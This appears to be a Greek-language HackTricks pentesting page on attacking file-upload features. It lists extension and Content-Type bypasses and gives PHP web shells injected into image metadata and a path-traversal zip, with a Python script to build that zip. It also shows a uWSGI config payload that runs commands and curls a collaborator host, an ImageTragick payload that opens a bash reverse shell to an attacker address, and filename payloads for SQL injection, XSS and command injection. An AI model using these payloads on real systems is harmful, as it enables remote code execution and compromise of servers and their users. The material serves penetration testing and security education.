.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
File Upload
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αν ενδιαφέρεστε για καριέρα hacking και να χακάρετε το αχάρακτο - προσλαμβάνουμε! (απαιτείται άπταιστη γραπτή και προφορική πολωνική).
{% embed url="https://www.stmcyber.com/careers" %}
Γενική Μεθοδολογία Ανεβάσματος Αρχείων
Άλλες χρήσιμες επεκτάσεις:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Λειτουργία σε PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Παράκαμψη ελέγχων επεκτάσεων αρχείων
- Αν ισχύει, ελέγξτε τις προηγούμενες επεκτάσεις. Δοκιμάστε επίσης να τις χρησιμοποιήσετε με κεφαλαία γράμματα: pHp, .pHP5, .PhAr ...
- Ελέγξτε προσθέτοντας μια έγκυρη επέκταση πριν από την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):
- file.png.php
- file.png.Php5
- Δοκιμάστε να προσθέσετε ειδικούς χαρακτήρες στο τέλος. Μπορείτε να χρησιμοποιήσετε το Burp για να bruteforce όλους τους ascii και Unicode χαρακτήρες. (Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις προηγούμενες αναφερόμενες επικεφαλίδες)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Δοκιμάστε να παρακάμψετε τις προστασίες ξεγελώντας τον αναλυτή επεκτάσεων της πλευράς του διακομιστή με τεχνικές όπως διπλασιασμός της επέκτασης ή προσθήκη άχρηστων δεδομένων (null bytes) μεταξύ των επεκτάσεων. Μπορείτε επίσης να χρησιμοποιήσετε τις προηγούμενες επεκτάσεις για να προετοιμάσετε ένα καλύτερο payload.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Προσθέστε άλλη μια στρώση επεκτάσεων στον προηγούμενο έλεγχο:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Δοκιμάστε να τοποθετήσετε την εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση και προσευχηθείτε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για την εκμετάλλευση κακοδιαμορφώσεων του Apache όπου οτιδήποτε με επέκταση _.php**_, αλλά όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα):
- ex: file.php.png
- Χρησιμοποιώντας NTFS εναλλακτική ροή δεδομένων (ADS) σε Windows. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα κενό αρχείο με την απαγορευμένη επέκταση στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “::$data” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (.π.χ. “file.asp::$data.”)
- Δοκιμάστε να σπάσετε τα όρια ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
# Linux μέγιστο 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # μείον 4 εδώ και προσθήκη .png
# Ανεβάστε το αρχείο και ελέγξτε την απόκριση πόσους χαρακτήρες επιτρέπει. Ας πούμε 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Δημιουργήστε το payload
AAA<--SNIP 232 A-->AAA.php.png
Παράκαμψη Content-Type, Magic Number, Συμπίεση & Αλλαγή Μεγέθους
- Παράκαμψη Content-Type ελέγχων ορίζοντας την τιμή της κεφαλίδας Content-Type σε: image/png , text/plain , application/octet-stream
- Content-Type λίστα λέξεων: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Παράκαμψη magic number ελέγχου προσθέτοντας στην αρχή του αρχείου τα bytes μιας πραγματικής εικόνας (μπερδέψτε την εντολή file). Ή εισάγετε το shell μέσα στα metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
ή μπορείτε επίσης να εισάγετε το payload απευθείας σε μια εικόνα:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Αν συμπίεση προστίθεται στην εικόνα σας, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως PHP-GD, οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την τεχνική PLTE chunk που ορίζεται εδώ για να εισάγετε κάποιο κείμενο που θα επιβιώσει τη συμπίεση.
- Github με τον κώδικα
- Η ιστοσελίδα μπορεί επίσης να αλλάζει το μέγεθος της εικόνας, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD
imagecopyresized
ήimagecopyresampled
. Ωστόσο, μπορείτε να χρησιμοποιήσετε την τεχνική IDAT chunk που ορίζεται εδώ για να εισάγετε κάποιο κείμενο που θα επιβιώσει τη συμπίεση. - Github με τον κώδικα
- Μια άλλη τεχνική για να δημιουργήσετε ένα payload που επιβιώνει σε αλλαγή μεγέθους εικόνας, χρησιμοποιώντας τη συνάρτηση PHP-GD
thumbnailImage
. Ωστόσο, μπορείτε να χρησιμοποιήσετε την τεχνική tEXt chunk που ορίζεται εδώ για να εισάγετε κάποιο κείμενο που θα επιβιώσει τη συμπίεση. - Github με τον κώδικα
Άλλα κόλπα για έλεγχο
- Βρείτε μια ευπάθεια για να μετονομάσετε το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
- Βρείτε μια ευπάθεια Local File Inclusion για να εκτελέσετε το backdoor.
- Πιθανή αποκάλυψη πληροφοριών:
- Ανεβάστε πολλές φορές (και τα υτόχρονα) το ίδιο αρχείο με το ίδιο όνομα
- Ανεβάστε ένα αρχείο με το όνομα ενός αρχείου ή φακέλου που υπάρχει ήδη
- Ανεβάστε ένα αρχείο με “.”, “..”, ή “…” ως όνομα. Για παράδειγμα, στο Apache σε Windows, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”.
- Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως “…:.jpg” σε NTFS. (Windows)
- Ανεβάστε ένα αρχείο σε Windows με μη έγκυρους χαρακτήρες όπως
|<>*?”
στο όνομά του. (Windows) - Ανεβάστε ένα αρχείο σε Windows χρησιμοποιώντας καταχωρημένα (απαγορευμένα) ονόματα όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
- Δοκιμάστε επίσης να ανεβάσετε ένα εκτελέσιμο (.exe) ή ένα .html (λιγότερο ύποπτο) που θα εκτελεί κώδικα όταν ακούσια ανοιχτεί από το θύμα.
Ειδικά κόλπα επεκτάσεων
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν διακομιστή PHP, ρίξτε μια ματιά στο κόλπο .htaccess για να εκτελέσετε κώδικα.
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν διακομιστή ASP, ρίξτε μια ματιά στο κόλπο .config για να εκτελέσετε κώδικα.
Τα αρχεία .phar
είναι όπως τα .jar
για java, αλλά για php, και μπορούν να χρησιμοποιηθούν όπως ένα αρχείο php (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
Η επέκταση .inc
χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για εισαγωγή αρχείων, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει αυτή την επέκταση να εκτελείται.
Jetty RCE
Αν μπορείτε να ανεβάσετε ένα αρχείο XML σε έναν διακομιστή Jetty μπορείτε να αποκτήσετε RCE επειδή νέα *.xml και *.war επεξεργάζονται αυτόματα. Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το αρχείο XML στο $JETTY_BASE/webapps/
και περιμένετε το shell!
uWSGI RCE
Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας ελέγξτε την αρχική έρευνα: uWSGI RCE Exploitation.
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης .ini
. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως @(filename)
, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το σχήμα "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να παραποιηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης .ini
επεξεργάζεται.
Σκεφτείτε το παρακάτω παράδειγμα ενός κακόβουλου αρχείου uwsgi.ini
, που παρουσιάζει διάφορα σχήματα:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρύθμισης. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνευθούν αλλαγές.
Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρύθμισης του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης.
wget File Upload/SSRF Trick
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί wget
για να κατεβάσει αρχεία και μπορείτε να υποδείξετε τη διεύθυνση URL. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατεβούν. Ωστόσο, αυτός ο έλεγχος μπορεί να παρακαμφθεί.
Το μέγιστο μήκος ενός ονόματος αρχείου σε linux είναι 255, ωστόσο, wget κόβει τα ονόματα αρχείων σε 236 χαρακτήρες. Μπορείτε να κατεβάσετε ένα αρχείο με όνομα "A"*232+".php"+".gif", αυτό το όνομα αρχείου θα παρακάμψει τον έλεγχο (καθώς σε αυτό το παράδειγμα ".gif" είναι μια έγκυρη επέκταση) αλλά το wget
θα μετονομάσει το αρχείο σε "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Σημειώστε ότι μια άλλη επιλογή που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό δεν θα λειτουργήσει εκτός αν το wget χρησιμοποιείται με την παράμετρο --trust-server-names
επειδή το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL.
Εργαλεία
- Upload Bypass είναι ένα ισχυρό εργαλείο σχεδιασμένο να βοηθά τους Pentesters και τους Bug Hunters στη δοκιμή μηχανισμών μεταφόρτωσης αρχείων. Εκμεταλλεύεται διάφορες τεχνικές bug bounty για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας λεπτομερείς αξιολογήσεις διαδικτυακών εφαρμογών.
Από τη μεταφόρτωση αρχείων σε άλλες ευπάθειες
- Ορίστε το filename σε
../../../tmp/lol.png
και προσπαθήστε να επιτύχετε μια path traversal - Ορίστε το filename σε
sleep(10)-- -.jpg
και μπορεί να μπορέσετε να επιτύχετε μια SQL injection - Ορίστε το filename σε
<svg onload=alert(document.domain)>
για να επιτύχετε XSS - Ορίστε το filename σε
; sleep 10;
για να δοκιμάσετε κάποια command injection (περισσότερα tricks command injections εδώ) - XSS σε μεταφόρτωση αρχείου εικόνας (svg)
- JS αρχείο upload + XSS = Exploitation Service Workers
- XXE σε μεταφόρτωση svg
- Open Redirect μέσω μεταφόρτωσης αρχείου svg
- Δοκιμάστε διαφορετικά svg payloads από https://github.com/allanlw/svg-cheatsheet****
- Διάσημη ευπάθεια ImageTrick
- Αν μπορείτε να υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια SSRF. Αν αυτή η εικόνα πρόκειται να αποθηκευτεί σε κάποια δημόσια τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από https://iplogger.org/invisible/ και να κλέψετε πληροφορίες από κάθε επισκέπτη.
- XXE και CORS bypass με μεταφόρτωση PDF-Adobe
- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η παρακάτω σελίδα παρουσιάζει πώς να εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS. Αν μπορείτε να ανεβάσετε PDFs μπορείτε να προετοιμάσετε κάποια PDF που θα εκτελούν αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
- Ανεβάστε το [eicar](https://secure.eicar.org/eicar.com.txt) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο αντιϊικό πρόγραμμα
- Ελέγξτε αν υπάρχει κάποιο όριο μεγέθους κατά την μεταφόρτωση αρχείων
Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από εδώ):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Αποθηκευμένο XSS / SSRF / XXE
- GIF: Αποθηκευμένο XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE μέσω LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Επέκταση Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
Μαγικές Κεφαλίδες Μπάιτ
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Ανατρέξτε στο https://en.wikipedia.org/wiki/List_of_file_signatures για άλλους τύπους αρχείων.
Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση
Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
Symlink
Ανεβάστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Αποσυμπίεση σε διαφορετικούς φακέλους
Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων ανεβάσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους ανεβάσματος, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο evilarc στο GitHub. Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Επιπλέον, το trick symlink με το evilarc είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το /flag.txt
, θα πρέπει να δημιουργηθεί ένα symlink σε αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη διάρκεια της λειτουργίας του.
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου zip αρχείου:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Κατάχρηση συμπίεσης για file spraying
Για περισσότερες λεπτομέρειες ελέγξτε την αρχική ανάρτηση στο: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Δημιουργία PHP Shell: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής
$_REQUEST
.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying και Δημιουργία Συμπιεσμένου Αρχείου: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Τροποποίηση με Hex Editor ή vi: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για να διασχίσουν τους καταλόγους.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Ανεβάστε αυτό το περιεχόμενο με μια επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια (ImageMagick , 7.0.1-1) (από το exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Ενσωμάτωση PHP Shell σε PNG
Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις imagecopyresized
και imagecopyresampled
από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για την αλλαγή μεγέθους και την επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες είναι ένα σημαντικό πλεονέκτημα για ορισμένες περιπτώσεις χρήσης.
Μια λεπτομερής εξερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας της και των πιθανών εφαρμογών, παρέχεται στο παρακάτω άρθρο: "Encoding Web Shells in PNG IDAT chunks". Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
Περισσότερες πληροφορίες στο: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Πολυγλωσσικά Αρχεία
Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα GIFAR, ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προκύπτει από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή Phar αρχεία). Ωστόσο, ένα πολυγλωσσικό αρχείο, τηρώντας τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του.
Περισσότερες πληροφορίες στο: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Αναφορές
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Εάν ενδιαφέρεστε για καριέρα στον hacking και να χακάρετε το αχάρακτο - προσλαμβάνουμε! (απαιτείται άπταιστη γραπτή και προφορική γνώση πολωνικών).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.